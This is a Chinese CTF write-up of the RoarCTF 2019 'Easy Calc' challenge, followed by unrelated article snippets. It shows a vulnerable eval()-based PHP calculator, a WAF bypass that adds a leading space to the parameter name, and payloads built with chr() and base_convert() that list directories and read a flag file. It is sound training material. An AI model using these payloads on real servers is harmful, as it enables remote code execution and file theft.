[RoarCTF 2019]Easy Calc - RCE(函数输出)+参数waf绕过(PHP字符串解析特性)

news/2024/5/19 22:25:58 标签: web安全, 安全, ctf, php, RCE, php字符串解析特性, waf绕过

[RoarCTF 2019]Easy Calc

  • 1 解题流程
  • 2 思考总结

1

1 解题流程

  1. 打开页面让我们输入,输了没反应(执行报错),F12发现js有代码
    php">$('#calc').submit(function(){
    	$.ajax({
    		url:"calc.php?num="+encodeURIComponent($("#content").val()),
    		type:'GET',
    		success:function(data){
    			$("#result").html(`<div class="alert alert-success">
    		<strong>答案:</strong>${data}
    		</div>`);
    		},
    		error:function(){
    			alert("这啥?算不来!");
    		}
    	})
    	return false;
    })
    
    通过代码发现提交的页面是calc.php,我们在页面打开calc.php,得到代码
    php"><?php
    	if(!isset($_GET['num'])){
    	    show_source(__FILE__);
    	}else{
    	        $str = $_GET['num'];
    	        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
    	        foreach ($blacklist as $blackitem) {
    	                if (preg_match('/' . $blackitem . '/m', $str)) {
    	                        die("what are you want to do?");
    	                }
    	        }
    	        eval('echo '.$str.';');
    	}
    ?> 
    
    1、参数是num,黑名单过滤空格、‘`’、中括号、缩进符等
    2、?num=a 报错(被waf了,说明字母会被拦截)
      这里就涉及到一个知识点了:PHP的字符串解析特性
      例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。
      例如:/?%20news[id%00=42会转换为Array([news_id] => 42)。
      PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
        1.删除空白符
        2.将某些字符转换为下划线(包括空格)
      问:WAF不让num参数传入字母,但是我们又需要传入字母来构成我们的命令,这种情况下该怎么进行绕过呢?
      答:我们参数前加一个空格,在PHP特性下会删除空格,但是WAF会因为这个空格导致检测不到参数,最终导致WAF被绕过。
  2. 我们要输出,可以用echo、print、var_dump、print_r四个函数
    注意,前两者只能输出简单数据类型,如果是数组之类的只能用后两个,个人觉得print_r输出很清楚
    我们要扫目录,可以用scandir
    我们要字符转换,可以用chr(ascii)、ord(string)、base_convert(number,frombase,tobase);
     /calc.php?%20num=print_r(scandir(chr(47)))/calc.php?%20num=var_dump(scandir(chr(47)))
    如果scandir这个词也被过滤的话,还可以使用base_convert()来拼接。如? num=print_r(base_convert(61693386291,10,36)(chr(47)))
    得到Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => f1agg [8] => flag [9] => home [10] => lib [11] => lib64 [12] => media [13] => mnt [14] => opt [15] => proc [16] => root [17] => run [18] => sbin [19] => srv [20] => start.sh [21] => sys [22] => tmp [23] => usr [24] => var ) 1
    我们要读文件,可以用readfile、file_get_content
    /calc.php? num=readfile(chr(47).f1agg)
    /calc.php? num=file_get_contents(chr(47).f1agg)
    /calc.php? num=base_convert(2146934604002,10,36)(chr(47).f1agg)

2 思考总结

这道题目,又有新的知识点
1、PHP的字符串解析特性的知识还是很重要的
2、eval内函数使用


http://www.niftyadmin.cn/n/5080197.html

相关文章

elementui的table组件如何显示图片

在ElementUI的table组件中&#xff0c;如果想要显示图片&#xff0c;可以在table-column中使用template slot来显示图片。具体来说&#xff0c;可以按照以下步骤操作&#xff1a; 在el-table-column中定义一个prop&#xff0c;例如"picture"&#xff0c;并将其label…

谈谈Android Jetpack Compose中的状态提升

谈谈Android Jetpack Compose中的状态提升 在本文中&#xff0c;我们将了解Jetpack Compose中的状态提升&#xff08;State Hoisting&#xff09;。在深入研究这个主题之前&#xff0c;让我们先了解一下Jetpack Compose中的有状态&#xff08;Stateful&#xff09;和无状态&am…

从零学算法946

946.给定 pushed 和 popped 两个序列&#xff0c;每个序列中的 值都不重复&#xff0c;只有当它们可能是在最初空栈上进行的推入 push 和弹出 pop 操作序列的结果时&#xff0c;返回 true&#xff1b;否则&#xff0c;返回 false 。 示例 1&#xff1a; 输入&#xff1a;pushed…

vue3前端开发系列 - electron开发桌面程序(2023-10月最新版)

文章目录 1. 说明2. 创建项目3. 创建文件夹electron3.1 编写脚本electron.js3.2 编写脚本proload.js 4. 修改package.json4.1 删除type4.2 修改scripts4.3 完整的配置如下 5. 修改App.vue6. 修改vite.config.ts7. 启动8. 打包安装9. 项目公开地址 1. 说明 本次安装使用的环境版…

初识Linux(入门篇)

文章目录 初识 Linux1、Linux 背景1.1、Linux 历史1.2、Linux 官网1.2、Linux 发行版本 2、使用 XShell 远程登录 Linux2.1、下载安装 XShell2.2、查看 Linux 主机 ip2.3、使用 XShell 登陆主机2.4、XShell下的复制粘贴 3、Linux 基本指令3.1、ls 指令3.2、pwd 指令3.3、cd 指令…

【大数据】HBase入门指南

原创不易&#xff0c;注重版权。转载请注明原作者和原文链接 文章目录 HBase特性Hadoop的限制基本概念NameSpaceTableRowKeyColumnTimeStampCell 存储结构HBase 数据访问形式架构体系HBase组件HBase读写流程读流程写流程 MemStore Flush参数说明 StoreFile Compaction参数说明触…

Python 单元测试设置

单元测试检查特定代码单元或模块是否按照开发人员的预期执行。 大多数时候&#xff0c;我们测试的代码单元是一个函数。 同样&#xff0c;我们可以测试所有功能。 作为最佳实践&#xff0c;至少在开发过程中&#xff0c;我们应该进行单元测试。 因此&#xff0c;在开发过程的…

MES管理系统如何解决电子企业的生产痛点

随着电子行业的快速发展&#xff0c;企业面临着越来越多的生产和管理挑战。其中&#xff0c;物料编码管理困难、产品设计工作繁重、客户需求多样化 以及产品设计变更管理困难等问题尤为突出。为了解决这些问题&#xff0c;许多电子企业开始引入MES管理系统解决方案&#xff0c;…